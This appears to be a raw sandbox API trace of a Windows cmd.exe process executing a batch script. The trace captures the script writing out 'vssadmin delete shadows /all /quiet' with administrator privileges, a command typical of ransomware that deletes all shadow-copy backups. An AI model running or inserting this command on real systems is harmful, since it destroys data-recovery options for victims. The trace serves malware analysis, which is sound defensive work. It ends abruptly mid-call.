SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.805] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0170.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.806] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.806] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0170.806] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0170.807] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.807] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.807] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.807] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0170.808] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.808] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.808] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.808] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0170.808] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.808] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.808] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.808] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0170.808] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.808] GetFileType (hFile=0x248) returned 0x3 [0170.808] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.808] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.808] GetFileType (hFile=0x254) returned 0x3 [0170.808] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.808] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0170.808] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x8fb4eff908, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff908*=0x24, lpOverlapped=0x0) returned 1 [0170.808] GetProcessHeap () returned 0x1990d360000 [0170.808] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x4012) returned 0x1990d368fc0 [0170.808] GetProcessHeap () returned 0x1990d360000 [0170.808] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368fc0) returned 1 [0170.809] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0170.809] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0170.809] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0170.809] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0170.809] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0170.809] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0170.809] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0170.809] GetProcessHeap () returned 0x1990d360000 [0170.809] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xb0) returned 0x1990d368320 [0170.809] GetProcessHeap () returned 0x1990d360000 [0170.809] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x22) returned 0x1990d366a80 [0170.809] GetProcessHeap () returned 0x1990d360000 [0170.810] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x48) returned 0x1990d3683e0 [0170.810] GetConsoleOutputCP () returned 0x4e3 [0170.810] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0170.810] SetThreadUILanguage (LangId=0x0) returned 0x409 [0170.810] GetConsoleTitleW (in: lpConsoleTitle=0x8fb4eff750, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0170.811] malloc (_Size=0xffce) returned 0x1990d480840 [0170.811] ??_V@YAXPEAX@Z () returned 0x1990d480840 [0170.811] malloc (_Size=0xffce) returned 0x1990d490820 [0170.811] ??_V@YAXPEAX@Z () returned 0x1990d490820 [0170.811] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0170.811] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0170.811] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0170.811] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0170.811] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0170.811] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0170.811] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0170.811] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0170.811] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0170.811] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0170.811] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0170.811] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0170.811] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0170.811] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0170.811] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0170.811] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0170.811] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0170.811] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0170.811] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0170.811] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0170.811] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0170.811] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0170.811] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0170.811] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0170.811] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0170.811] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0170.811] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0170.811] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0170.811] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0170.812] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0170.812] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0170.812] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0170.812] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0170.812] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0170.812] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0170.812] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0170.812] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0170.812] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0170.812] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0170.812] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0170.812] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0170.812] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0170.812] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0170.812] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0170.812] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0170.812] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0170.812] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0170.812] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0170.812] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0170.812] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0170.812] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0170.812] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0170.812] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0170.812] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0170.812] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0170.812] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0170.812] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0170.812] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0170.812] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0170.812] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0170.812] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0170.812] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0170.812] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0170.812] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0170.813] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0170.813] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0170.813] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0170.813] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0170.813] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0170.813] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0170.813] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0170.813] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0170.813] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0170.813] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0170.813] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0170.813] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0170.813] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0170.813] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0170.813] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0170.813] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0170.813] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0170.813] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0170.813] ??_V@YAXPEAX@Z () returned 0x1 [0170.813] GetProcessHeap () returned 0x1990d360000 [0170.813] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xffde) returned 0x1990d368fc0 [0170.814] GetProcessHeap () returned 0x1990d360000 [0170.814] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x5a) returned 0x1990d366c30 [0170.814] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0170.814] malloc (_Size=0xffce) returned 0x1990d490820 [0170.814] ??_V@YAXPEAX@Z () returned 0x1990d490820 [0170.814] GetProcessHeap () returned 0x1990d360000 [0170.814] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x1ffac) returned 0x1990d37ab20 [0170.816] SetErrorMode (uMode=0x0) returned 0x0 [0170.816] SetErrorMode (uMode=0x1) returned 0x0 [0170.816] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1990d37ab30, lpFilePart=0x8fb4efefd0 